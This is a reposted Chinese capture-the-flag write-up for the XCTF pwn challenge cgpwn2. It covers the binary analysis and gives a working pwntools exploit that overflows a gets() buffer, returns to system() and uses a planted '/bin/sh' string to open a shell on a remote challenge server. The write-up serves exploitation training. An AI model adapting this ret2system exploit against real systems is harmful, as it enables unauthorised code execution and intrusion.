day-10 xctf-cgpwn2

xctf-cgpwn2

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1

 

 

拿到题目,checksec,发现No canary found ,唔。。。。

day-10 xctf-cgpwn2_第1张图片

 

 运行一下,大概功能是:输入名字,输入message,输出thank you

day-10 xctf-cgpwn2_第2张图片

 

 

将其拉入ida查看,查看字符串,只发现了system,看来我们需要构造system('/bin/sh')

day-10 xctf-cgpwn2_第3张图片

 

 查看主函数,调用了函数hello()

day-10 xctf-cgpwn2_第4张图片

 

 查看一下hello()函数

day-10 xctf-cgpwn2_第5张图片

 

 发现gets危险函数,着重注意。查看一下fgets中的name,地址为:0x804A080,这是一个固定的地址,或许可以修改这个位置的值为'/bin/sh

或许可以通过栈溢出的方式,返回system地址,然后调用这个修改过的name的参数地址,执行system('/bin/sh')

 

 

寻找system调用的地址,为0x8048420

day-10 xctf-cgpwn2_第6张图片

 

 

点击&s查看到s占用的栈空间为38

day-10 xctf-cgpwn2_第7张图片

 

 

 那么可以构造exp了:

 

from pwn import *

context.log_level = 'debug'

#cnn = ('./cgpwn2')
cnn = remote('111.198.29.45',37310)

#elf = ELF('./cgpwn2')

system_addr = 0x8048420

binsh_addr = 0x804A080

payload = 38*'a' + 4*'a' + p32(system_addr) + 'aaaa' + p32(binsh_addr)

cnn.sendlineafter('name\n','/bin/sh')

cnn.sendlineafter('here:\n',payload)

cnn.interactive()
exp

 

通过返回的shell,然后cat flag就能得到flag了

 

 day-10 xctf-cgpwn2_第8张图片

 

 

总结:无中生有

转载于:https://www.cnblogs.com/yidianhan/p/11613856.html

你可能感兴趣的:(day-10 xctf-cgpwn2)